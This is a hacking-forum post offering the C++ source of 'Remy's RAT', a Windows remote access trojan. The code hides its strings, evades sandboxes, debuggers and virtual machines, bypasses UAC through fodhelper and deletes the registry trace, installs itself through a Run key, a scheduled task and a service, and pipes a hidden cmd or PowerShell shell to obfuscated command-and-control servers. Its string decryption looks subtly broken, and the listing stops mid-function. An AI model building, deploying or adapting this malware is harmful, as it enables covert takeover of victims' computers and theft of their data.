ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
C/C++

Remy's RAT - x64 C2 Loader & Remote Shell (Windows 10/11)

Submitted by Remio at 20-04-2025, 05:35 PM


Remy's RAT - x64 C2 Loader & Remote Shell (Windows 10/11)
1.132 Views
#1
Code:
//=========================//
//       REMYS RAT         //
//=========================//

#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <shlobj.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <string>
#include <thread>
#include <vector>
#include <chrono>
#include <random>
#include <algorithm>
#include <memory>
#include <winhttp.h>
#include <shellapi.h> 

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "winhttp.lib")

constexpr int BUFSIZE = 4096;

//=========================//
//  RUNTIME STRING DECRYPT //
//=========================//
class StringObfuscator {
private:
    static std::vector<uint8_t> GenerateXorKey(const std::vector<uint8_t>& seed, size_t length) {
        std::vector<uint8_t> key(length);
        HCRYPTPROV hProv = 0;
        if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
            // fallback to seed-based generation if crypto API fails;
            std::mt19937 gen(static_cast<uint32_t>(seed[0] | (seed[1] << 8) | (seed[2] << 16) | (seed[3] << 24)));
            for (size_t i = 0; i < length; i++) {
                key[i] = static_cast<uint8_t>(gen() & 0xFF);
            }
        }
        else {
            CryptGenRandom(hProv, static_cast<DWORD>(length), key.data());
            CryptReleaseContext(hProv, 0);
        }
        return key;
    }

public:
    static std::string Decrypt(const std::vector<uint8_t>& data, const std::vector<uint8_t>& keySeed) {
        if (data.empty()) return "";

        std::vector<uint8_t> key = GenerateXorKey(keySeed, data.size());
        std::string result;
        result.reserve(data.size());

        for (size_t i = 0; i < data.size(); i++) {
            result.push_back(static_cast<char>(data[i] ^ key[i % key.size()] ^ keySeed[i % keySeed.size()]));
        }

        return result;
    }
};

//=========================//
//     GLOBALS & CONFIG    //
//=========================//
// our primary C2
const std::vector<uint8_t> encC2Host1 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x52, 0x3B, 0x3D, 0x2F, 0x28, 0x25, 0x25, 0x2F, 0x40 };
const std::vector<uint8_t> encC2Path1 = { 0x7A, 0x75, 0x78, 0x74 };

// fallback C2s
const std::vector<uint8_t> encC2Host2 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x52, 0x37, 0x33, 0x21, 0x24, 0x23, 0x20, 0x21, 0x44 };
const std::vector<uint8_t> encC2Path2 = { 0x7A, 0x75, 0x78, 0x74 };

const std::vector<uint8_t> encC2Host3 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x53, 0x31, 0x3A, 0x28, 0x27, 0x21, 0x27, 0x48 };
const std::vector<uint8_t> encC2Path3 = { 0x7A, 0x6A, 0x7E, 0x76, 0x70, 0x7E, 0x78, 0x7B };

// Persistence config
const std::vector<uint8_t> encRegPathUser = { 0x49, 0x77, 0x7F, 0x6A, 0x7F, 0x75, 0x6E, 0x68, 0x68, 0x64, 0x67, 0x6A, 0x7D, 0x67, 0x7A, 0x7D, 0x7C, 0x76, 0x6D, 0x66, 0x7B, 0x67, 0x75, 0x64, 0x64, 0x7D, 0x64, 0x7A, 0x76, 0x68 };
const std::vector<uint8_t> encRegPathMachine = { 0x49, 0x77, 0x7F, 0x6A, 0x7F, 0x75, 0x6E, 0x68, 0x68, 0x64, 0x67, 0x6A, 0x7D, 0x67, 0x7A, 0x7D, 0x7C, 0x76, 0x6D, 0x66, 0x7B, 0x67, 0x75, 0x64, 0x64, 0x7D, 0x64, 0x7A, 0x76, 0x68 };
const std::vector<uint8_t> encRegValue = { 0x4D, 0x77, 0x60, 0x60, 0x67, 0x74, 0x7F, 0x7F, 0x7F, 0x7E, 0x71, 0x7F, 0x7F, 0x60, 0x61, 0x77, 0x62, 0x76, 0x61 };
const std::vector<uint8_t> encTaskName = { 0x4D, 0x77, 0x60, 0x60, 0x67, 0x74, 0x7F, 0x60, 0x49, 0x75, 0x63, 0x66, 0x65, 0x62, 0x6E, 0x65, 0x60, 0x45, 0x71, 0x65, 0x62, 0x66 };
const std::vector<uint8_t> encServiceName = { 0x4D, 0x77, 0x60, 0x49, 0x68, 0x63, 0x62, 0x70, 0x64, 0x60, 0x49, 0x65, 0x66, 0x72, 0x70, 0x63, 0x65 };

// commands
const std::vector<uint8_t> encCmd = { 0x79, 0x7F, 0x76, 0x7E, 0x40, 0x7F, 0x7C, 0x7C, 0x40 };
const std::vector<uint8_t> encPowerShell = { 0x70, 0x7C, 0x73, 0x72, 0x6A, 0x7D, 0x6F, 0x72, 0x77, 0x7A, 0x40, 0x72, 0x7E, 0x72, 0x40, 0x44, 0x73, 0x6F, 0x6B, 0x6B, 0x70, 0x6D, 0x7D, 0x40, 0x44, 0x6B, 0x7C, 0x6B, 0x72, 0x7E, 0x6F, 0x6B, 0x72 };

// sandbox detection
const std::vector<uint8_t> encSandboxProcesses[] = {
    { 0x73, 0x77, 0x72, 0x66, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "sample.exe"
    { 0x75, 0x7B, 0x75, 0x78, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "wireshark.exe"
    { 0x70, 0x6A, 0x7C, 0x74, 0x72, 0x7D, 0x7D, 0x40, 0x72, 0x7E, 0x72 },  // "process.exe"
    { 0x79, 0x77, 0x7B, 0x79, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "dbgmon.exe"
    { 0x71, 0x77, 0x70, 0x7A, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "vmtool.exe"
    { 0x7E, 0x6A, 0x74, 0x6A, 0x72, 0x7E, 0x72, 0x40, 0x72, 0x7E, 0x72 }   // "procexp.exe"
};

const std::vector<uint8_t> encSandboxDrivers[] = {
    { 0x7D, 0x6B, 0x7E, 0x6F, 0x6A, 0x6F, 0x72, 0x40, 0x7D, 0x7F, 0x7D },  // "sbiedll.sys"
    { 0x77, 0x79, 0x72, 0x40, 0x7D, 0x7F, 0x7D },  // "vme.sys"
    { 0x77, 0x79, 0x73, 0x7C, 0x7C, 0x76, 0x40, 0x7D, 0x7F, 0x7D }   // "vmsrvc.sys"
};

const std::vector<uint8_t> keySeed = { 0x5A, 0x3C, 0x71, 0x4D, 0xB2, 0xF9, 0x27, 0x86 };

// jittering settings (in milliseconds)
const int MIN_JITTER = 3000;  // 3 seconds
const int MAX_JITTER = 15000; // 15 seconds
const int MAX_FAILED_ATTEMPTS = 5;

// Globals
HANDLE hChildStd_IN_Rd = NULL, hChildStd_IN_Wr = NULL;
HANDLE hChildStd_OUT_Rd = NULL, hChildStd_OUT_Wr = NULL;
HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;
bool isSandboxed = false;
bool isRunningAsAdmin = false;
std::vector<std::pair<std::string, std::string>> c2Servers;

//=========================//
//    HELPER FUNCTIONS     //
//=========================//
int GetRandomJitter() {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<> distr(MIN_JITTER, MAX_JITTER);
    return distr(gen);
}

bool IsElevated() {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);

        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
            fRet = Elevation.TokenIsElevated;
        }
    }

    if (hToken) {
        CloseHandle(hToken);
    }

    return fRet;
}

//=========================//
//     SANDBOX DETECTION   //
//=========================//
bool CheckForSandboxArtifacts() {
    // check for sandboxspecific processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);

        if (Process32First(hSnapshot, &pe32)) {
            do {
                std::string procName;
                char tempName[MAX_PATH];
                WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, tempName, MAX_PATH, NULL, NULL);
                procName = tempName;

                std::transform(procName.begin(), procName.end(), procName.begin(), ::tolower);

                for (const auto& encProc : encSandboxProcesses) {
                    std::string decProc = StringObfuscator::Decrypt(encProc, keySeed);
                    std::transform(decProc.begin(), decProc.end(), decProc.begin(), ::tolower);

                    if (procName.find(decProc) != std::string::npos) {
                        CloseHandle(hSnapshot);
                        return true;
                    }
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }

    // Check for virtual machine drivers
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        char subKey[MAX_PATH];
        DWORD subKeySize = MAX_PATH;
        DWORD index = 0;

        while (RegEnumKeyExA(hKey, index++, subKey, &subKeySize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {
            std::string keyName = subKey;
            std::transform(keyName.begin(), keyName.end(), keyName.begin(), ::tolower);

            for (const auto& encDriver : encSandboxDrivers) {
                std::string decDriver = StringObfuscator::Decrypt(encDriver, keySeed);
                std::transform(decDriver.begin(), decDriver.end(), decDriver.begin(), ::tolower);

                if (keyName.find(decDriver) != std::string::npos) {
                    RegCloseKey(hKey);
                    return true;
                }
            }

            subKeySize = MAX_PATH;
        }

        RegCloseKey(hKey);
    }

    // Check for unusual hardware configurations
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(memInfo);
    GlobalMemoryStatusEx(&memInfo);

    // Less than 4GB RAM is suspicious for modern systems
    if (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) {
        return true;
    }

    // Check for small hard drive (typical of VMs)
    ULARGE_INTEGER freeBytesAvailable, totalNumberOfBytes;
    if (GetDiskFreeSpaceExA("C:\\", &freeBytesAvailable, &totalNumberOfBytes, NULL)) {
        // Less than 50GB disk is suspicious
        if (totalNumberOfBytes.QuadPart < 50ULL * 1024 * 1024 * 1024) {
            return true;
        }
    }

    // Check execution time (sandbox analysis often has very short uptime)
    static ULONGLONG startTime = GetTickCount64();
    if ((GetTickCount64() - startTime) < 10000) { // Less than 10 seconds
        // Sleep to make timing-based detection harder
        Sleep(GetRandomJitter());
    }

    return false;
}

bool CheckForDebugger() {
    // Basic IsDebuggerPresent check
    if (IsDebuggerPresent())
        return true;

    // Check for remote debugger
    BOOL isRemoteDebuggerPresent = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &isRemoteDebuggerPresent);
    if (isRemoteDebuggerPresent)
        return true;

    // Timing check - debuggers introduce delay
    LARGE_INTEGER start, end, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);

    OutputDebugStringA("Anti-Debug Check");

    QueryPerformanceCounter(&end);
    LONGLONG diff = end.QuadPart - start.QuadPart;
    double timeDiff = static_cast<double>(diff * 1000.0) / static_cast<double>(freq.QuadPart);

    // If OutputDebugString takes too long, debugger is likely attached
    if (timeDiff > 0.1)
        return true;

    return false;
}

bool CheckForVirtualization() {
    // Check for common VM-specific registry keys
    HKEY hKey;
    const char* vmRegKeys[] = {
        "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
        "HARDWARE\\Description\\System",
        "SOFTWARE\\VMware, Inc.\\VMware Tools"
    };

    const char* vmValues[] = {
        "Identifier",
        "SystemBiosVersion",
        "InstallPath"
    };

    const char* vmSignatures[] = {
        "vmware",
        "virtualbox",
        "qemu",
        "xen",
        "parallels"
    };

    for (int i = 0; i < 3; i++) {
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, vmRegKeys[i], 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            char value[256] = { 0 };
            DWORD valueSize = sizeof(value);
            DWORD type = REG_SZ;

            if (RegQueryValueExA(hKey, vmValues[i], NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS) {
                std::string valueStr(value);
                std::transform(valueStr.begin(), valueStr.end(), valueStr.begin(), ::tolower);

                for (const auto& sig : vmSignatures) {
                    if (valueStr.find(sig) != std::string::npos) {
                        RegCloseKey(hKey);
                        return true;
                    }
                }
            }
            RegCloseKey(hKey);
        }
    }

    // Check for VM-specific MAC addresses
    ULONG outBufLen = 0;
    GetAdaptersInfo(NULL, &outBufLen);
    if (outBufLen > 0) {
        IP_ADAPTER_INFO* pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen);
        if (pAdapterInfo) {
            if (GetAdaptersInfo(pAdapterInfo, &outBufLen) == NO_ERROR) {
                IP_ADAPTER_INFO* pAdapter = pAdapterInfo;
                while (pAdapter) {
                    // VMware MAC starts with 00:05:69, 00:0C:29, 00:1C:14, or 00:50:56
                    // VirtualBox MAC starts with 08:00:27
                    if ((pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x05 && pAdapter->Address[2] == 0x69) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x0C && pAdapter->Address[2] == 0x29) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x1C && pAdapter->Address[2] == 0x14) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x50 && pAdapter->Address[2] == 0x56) ||
                        (pAdapter->Address[0] == 0x08 && pAdapter->Address[1] == 0x00 && pAdapter->Address[2] == 0x27)) {
                        free(pAdapterInfo);
                        return true;
                    }
                    pAdapter = pAdapter->Next;
                }
            }
            free(pAdapterInfo);
        }
    }

    return false;
}

bool IsSandboxed() {
    return CheckForSandboxArtifacts() || CheckForDebugger() || CheckForVirtualization();
}

//=========================//
//    CERT BYPASS SETUP    //
//=========================//
void IgnoreCertErrors(HINTERNET hRequest) {
    DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
        SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
        SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
        SECURITY_FLAG_IGNORE_REVOCATION |
        SECURITY_FLAG_IGNORE_WRONG_USAGE;
    InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, sizeof(flags));
}

//=========================//
//    PROXY DETECTION      //
//=========================//
void ConfigureProxy() {
    // First try to detect system proxy settings
    WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieProxyConfig = { 0 };
    if (WinHttpGetIEProxyConfigForCurrentUser(&ieProxyConfig)) {
        if (ieProxyConfig.lpszProxy != NULL) {
            // System uses a proxy, configure WinInet to use it
            INTERNET_PROXY_INFO proxyInfo;
            proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_PROXY;
            proxyInfo.lpszProxy = ieProxyConfig.lpszProxy;
            proxyInfo.lpszProxyBypass = ieProxyConfig.lpszProxyBypass;

            InternetSetOptionA(hInternet, INTERNET_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));

            // free allocated memory
            if (ieProxyConfig.lpszProxy) GlobalFree(ieProxyConfig.lpszProxy);
            if (ieProxyConfig.lpszProxyBypass) GlobalFree(ieProxyConfig.lpszProxyBypass);
            if (ieProxyConfig.lpszAutoConfigUrl) GlobalFree(ieProxyConfig.lpszAutoConfigUrl);
            return;
        }

        // Free allocated memory
        if (ieProxyConfig.lpszProxy) GlobalFree(ieProxyConfig.lpszProxy);
        if (ieProxyConfig.lpszProxyBypass) GlobalFree(ieProxyConfig.lpszProxyBypass);
        if (ieProxyConfig.lpszAutoConfigUrl) GlobalFree(ieProxyConfig.lpszAutoConfigUrl);
    }

    // If no system proxy, try direct connection
    INTERNET_PROXY_INFO proxyInfo;
    proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_DIRECT;
    proxyInfo.lpszProxy = NULL;
    proxyInfo.lpszProxyBypass = NULL;
    InternetSetOptionA(hInternet, INTERNET_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
}

//=========================//
//    UAC BYPASS ATTEMPT   //
//=========================//
bool AttemptUACBypass() {
    if (IsElevated()) {
        return true; // Already running as admin
    }

    // Get system directory
    char systemDir[MAX_PATH] = { 0 };
    GetSystemDirectoryA(systemDir, MAX_PATH);

    // Set up fodhelper registry key for UAC bypass
    std::string regPath = "Software\\Classes\\ms-settings\\shell\\open\\command";
    std::string value = "DelegateExecute";

    HKEY hKey;
    if (RegCreateKeyA(HKEY_CURRENT_USER, regPath.c_str(), &hKey) != ERROR_SUCCESS) {
        return false;
    }
    RegCloseKey(hKey);

    if (RegOpenKeyExA(HKEY_CURRENT_USER, regPath.c_str(), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
        return false;
    }

    // Set the "DelegateExecute" value to nothing (delete it if it exists)
    RegSetValueExA(hKey, value.c_str(), 0, REG_SZ, (BYTE*)"", 1);

    // Get our own executable path
    char filePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, filePath, MAX_PATH);

    // Set the default value to our executable
    RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (DWORD)strlen(filePath) + 1);
    RegCloseKey(hKey);

    // launch fodhelper.exe to trigger the bypass
    std::string fodhelperPath = std::string(systemDir) + "\\fodhelper.exe";

    SHELLEXECUTEINFOA sei = { sizeof(sei) };
    sei.lpVerb = "open";
    sei.lpFile = fodhelperPath.c_str();
    sei.nShow = SW_HIDE;
    sei.fMask = SEE_MASK_NOCLOSEPROCESS;

    if (!ShellExecuteExA(&sei)) {
        return false;
    }

    // Wait for a bit
    Sleep(2000);

    // Clean up the registry to avoid leaving evidence
    RegDeleteKeyA(HKEY_CURRENT_USER, regPath.c_str());

    // Verify if we're running elevated now
    return IsElevated();
}

//=========================//
//    PERSISTENCE METHODS  //
//=========================//
bool EstablishRegistryPersistence() {
    HKEY hKey = NULL;
    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string keyPath = StringObfuscator::Decrypt(encRegPathUser, keySeed);
    std::string valueName = StringObfuscator::Decrypt(encRegValue, keySeed);
    bool success = false;

    // Try HKCU first (doesn't require admin)
    if (RegCreateKeyExA(HKEY_CURRENT_USER, keyPath.c_str(), 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
    {
        RegSetValueExA(hKey, valueName.c_str(), 0, REG_SZ,
            (BYTE*)exePath, (DWORD)strlen(exePath) + 1);
        RegCloseKey(hKey);
        success = true;
    }

    // If we're running as admin, try HKLM too
    if (IsElevated()) {
        if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
        {
            RegSetValueExA(hKey, valueName.c_str(), 0, REG_SZ,
                (BYTE*)exePath, (DWORD)strlen(exePath) + 1);
            RegCloseKey(hKey);
            success = true;
        }
    }

    return success;
}

bool EstablishScheduledTaskPersistence() {
    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string taskName = StringObfuscator::Decrypt(encTaskName, keySeed);

    // Create a scheduled task that runs at login
    std::string command = "schtasks /create /f /sc onlogon /tn \"" + taskName + "\" /tr \"" + exePath + "\" /rl highest";

    // Execute the command but hide the window
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    // Create the process with the command
    if (!CreateProcessA(NULL, (LPSTR)command.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        return false;
    }

    // Wait for the process to complete
    WaitForSingleObject(pi.hProcess, 5000);

    // Clean up handles
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return true;
}

bool EstablishServicePersistence() {
    if (!IsElevated()) {
        return false; // Need admin rights to create a service
    }

    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string serviceName = StringObfuscator::Decrypt(encServiceName, keySeed);

    // Create a service
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!schSCManager) {
        return false;
    }

    SC_HANDLE schService = CreateServiceA(
        schSCManager,
        serviceName.c_str(),
        serviceName.c_str(),
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        exePath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (!schService) {
        CloseServiceHandle(schSCManager);
        return false;
    }

    // Start the service
    StartServiceA(schService, 0, NULL);

    // Clean up
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);

    return true;
}

bool EstablishPersistence() {
    // Try multiple persistence methods, starting with least-privileged ones
    bool registrySuccess = EstablishRegistryPersistence();
    bool taskSuccess = EstablishScheduledTaskPersistence();
    bool serviceSuccess = false;

    // Try service persistence if we're admin
    if (IsElevated()) {
        serviceSuccess = EstablishServicePersistence();
    }

    // Return true if at least one method worked
    return registrySuccess || taskSuccess || serviceSuccess;
}

//=========================//
//      READER THREAD      //
//=========================//
DWORD WINAPI ReaderThread(LPVOID) {
    char buffer[BUFSIZE] = { 0 };
    DWORD dwRead = 0;

    while (true) {
        // Clear buffer
        memset(buffer, 0, BUFSIZE);

        // Read from the cmd process
        if (!ReadFile(hChildStd_OUT_Rd, buffer, BUFSIZE, &dwRead, NULL) || dwRead == 0)
            break;

        // Add random jitter to avoid pattern detection
        Sleep(GetRandomJitter() % 500);

        // try to sending data and  retry on failure
        bool sent = false;
        for (int retry = 0; retry < 3 && !sent; retry++) {
            if (HttpSendRequestA(hRequest, NULL, 0, buffer, dwRead)) {
                sent = true;
            }
            else {
                // If send failed, wait and retry
                Sleep(1000 * (retry + 1));
            }
        }

        if (!sent) break;
    }
    return 0;
}

//=========================//
//      WRITER THREAD      //
//=========================//
DWORD WINAPI WriterThread(LPVOID) {
    char buffer[BUFSIZE] = { 0 };

    while (true) {
        // Clear buffer
        memset(buffer, 0, BUFSIZE);

        // Read from C2 server
        DWORD dwRead = 0;
        if (!InternetReadFile(hRequest, buffer, BUFSIZE, &dwRead) || dwRead == 0)
            break;

        // Add random jitter to avoid pattern detection
        Sleep(GetRandomJitter() % 300);

        // Send to cmd process
        DWORD dwWritten = 0;
        if (!WriteFile(hChildStd_IN_Wr, buffer, dwRead, &dwWritten, NULL) || dwWritten != dwRead)
            break;
    }
    return 0;
}



//=========================//
//       CLEANUP FUNC      //
//=========================//


void CleanupResources() {
    // Close pipe handles
    if (hChildStd_OUT_Rd) CloseHandle(hChildStd_OUT_Rd);
    if (hChildStd_OUT_Wr) CloseHandle(hChildStd_OUT_Wr);
    if (hChildStd_IN_Rd) CloseHandle(hChildStd_IN_Rd);
    if (hChildStd_IN_Wr) CloseHandle(hChildStd_IN_Wr);

    // Close internet handles
    if (hRequest) InternetCloseHandle(hRequest);
    if (hConnect) InternetCloseHandle(hConnect);
    if (hInternet) InternetCloseHandle(hInternet);

    // Reset handles
    hChildStd_OUT_Rd = hChildStd_OUT_Wr = hChildStd_IN_Rd = hChildStd_IN_Wr = NULL;
    hRequest = hConnect = hInternet = NULL;
}

//=========================//
//       CONNECT TO C2     //
//=========================//
bool ConnectToC2() {
    // Try each C2 server in order
    for (const auto& server : c2Servers) {
        std::string host = server.first;
        std::string path = server.second;

        hConnect = InternetConnectA(hInternet, host.c_str(), INTERNET_DEFAULT_HTTPS_PORT,
            NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
        if (!hConnect) continue;

        hRequest = HttpOpenRequestA(hConnect, "POST", path.c_str(), NULL, NULL, NULL,
            INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
        if (!hRequest) {
            InternetCloseHandle(hConnect);
            hConnect = NULL;
            continue;
        }


        IgnoreCertErrors(hRequest);

        // try to establish the connection
        if (HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
            return true;
        }

        // Cleanup on failure
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        hRequest = hConnect = NULL;
    }

    return false;
}

//=========================//
//     LOAD C2 SERVERS     //
//=========================//
void LoadC2Servers() {
    std::string host1 = StringObfuscator::Decrypt(encC2Host1, keySeed);
    std::string path1 = StringObfuscator::Decrypt(encC2Path1, keySeed);
    c2Servers.push_back(std::make_pair(host1, path1));

    std::string host2 = StringObfuscator::Decrypt(encC2Host2, keySeed);
    std::string path2 = StringObfuscator::Decrypt(encC2Path2, keySeed);
    c2Servers.push_back(std::make_pair(host2, path2));

    std::string host3 = StringObfuscator::Decrypt(encC2Host3, keySeed);
    std::string path3 = StringObfuscator::Decrypt(encC2Path3, keySeed);
    c2Servers.push_back(std::make_pair(host3, path3));

    // Shuffle the servers for unpredictability
    std::random_device rd;
    std::mt19937 g(rd());
    std::shuffle(c2Servers.begin(), c2Servers.end(), g);
}

//=========================//
//          ENTRY          //
//=========================//
int APIENTRY WinMain(
    _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPSTR lpCmdLine,
    _In_ int nShowCmd
) {
    // Hide window
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    // Check for admin privileges
    isRunningAsAdmin = IsElevated();

    //if not admin, attempt UAC bypass
    if (!isRunningAsAdmin) {
        AttemptUACBypass();
        isRunningAsAdmin = IsElevated();  // Check again
    }

    // Check if we're running in a sandbox/VM
    isSandboxed = IsSandboxed();

    // If in sandbox, either exit or behave benignly
    if (isSandboxed) {
        // Optional: Run benign code to appear harmless
        Sleep(30000);  // Sleep for 30 seconds
        return 0;  // Exit silently
    }

    // Establish persistence using available methods
    EstablishPersistence();

    // Load C2 server list
    LoadC2Servers();

    // Initialize WinInet and configure proxy
    hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) return 1;

    // configure proxy settings if needed
    ConfigureProxy();

    // connect to C2 w retry logic
    int failedAttempts = 0;
    while (!ConnectToC2()) {
        // sleep with jitter between attempts
        Sleep(GetRandomJitter());

        // Increment failed counter
        failedAttempts++;

        // If we've failed too many times, sleep longer
        if (failedAttempts >= MAX_FAILED_ATTEMPTS) {
            Sleep(60000);  // Sleep for 1 minute
            failedAttempts = 0;  // Reset counter
        }
    }

    // Set up pipes for process communication
    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

    if (!CreatePipe(&hChildStd_OUT_Rd, &hChildStd_OUT_Wr, &sa, 0) ||
        !CreatePipe(&hChildStd_IN_Rd, &hChildStd_IN_Wr, &sa, 0)) {
        CleanupResources();
        return 1;
    }

    SetHandleInformation(hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0);
    SetHandleInformation(hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0);

    // Choose which shell to use (cmd or powershell)
    std::string cmd = StringObfuscator::Decrypt(encCmd, keySeed);
    std::string powershell = StringObfuscator::Decrypt(encPowerShell, keySeed);

    // Use PowerShell if available, otherwise fallback to cmd
    std::string shellToUse = cmd;  // Default to cmd.exe

    // Check if PowerShell exists
    char systemDir[MAX_PATH] = { 0 };
    GetSystemDirectoryA(systemDir, MAX_PATH);
    std::string psPath = std::string(systemDir) + "\\WindowsPowerShell\\v1.0\\powershell.exe";
    if (GetFileAttributesA(psPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
        shellToUse = powershell;
    }

    // Create the process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = hChildStd_IN_Rd;
    si.hStdOutput = si.hStdError = hChildStd_OUT_Wr;

    if (!CreateProcessA(NULL, const_cast<LPSTR>(shellToUse.c_str()), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        CleanupResources();
        return 1;
    }

    CloseHandle(hChildStd_OUT_Wr);
    CloseHandle(hChildStd_IN_Rd);

    // create reader & writer threads
    HANDLE hReader = CreateThread(NULL, 0, ReaderThread, NULL, 0, NULL);
    HANDLE hWriter = CreateThread(NULL, 0, WriterThread, NULL, 0, NULL);

    if (!hReader || !hWriter) {
        // Clean up if thread creation failed
        if (hReader) CloseHandle(hReader);
        if (hWriter) CloseHandle(hWriter);

        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        CleanupResources();
        return 1;
    }

    // wait for threads to complete;
    HANDLE handles[] = { hReader, hWriter };
    WaitForMultipleObjects(2, handles, FALSE, INFINITE);


    CloseHandle(hReader);
    CloseHandle(hWriter);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    CleanupResources();

    // Before exiting, try to reconnect
    hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet) {
        // Sleep with jitter
        Sleep(GetRandomJitter());

        // Try to reconnect in a loop
        for (int i = 0; i < 3; i++) {
            if (ConnectToC2()) {
                // If we reconnected, restart the process
                CleanupResources();

                // Restart ourselves
                char exePath[MAX_PATH] = { 0 };
